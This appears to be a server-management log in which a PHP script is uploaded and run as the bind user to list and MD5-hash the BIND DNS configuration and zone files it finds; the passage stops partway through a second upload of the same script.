MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= e29c21b46b5393be06f75c34de3e6440
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-15 17:44:39: Establishing a connection
2026-05-15 17:44:39: 

PUT: /tmp/pkp927953

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-15 17:44:39: 

runuser -l bind -s /bin/bash -c '/tmp/pkp927953; rm /tmp/pkp927953'

2026-05-15 17:44:40: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= e29c21b46b5393be06f75c34de3e6440
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-15 17:44:41: Establishing a connection
2026-05-15 17:44:41: 

PUT: /tmp/pkp340489

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
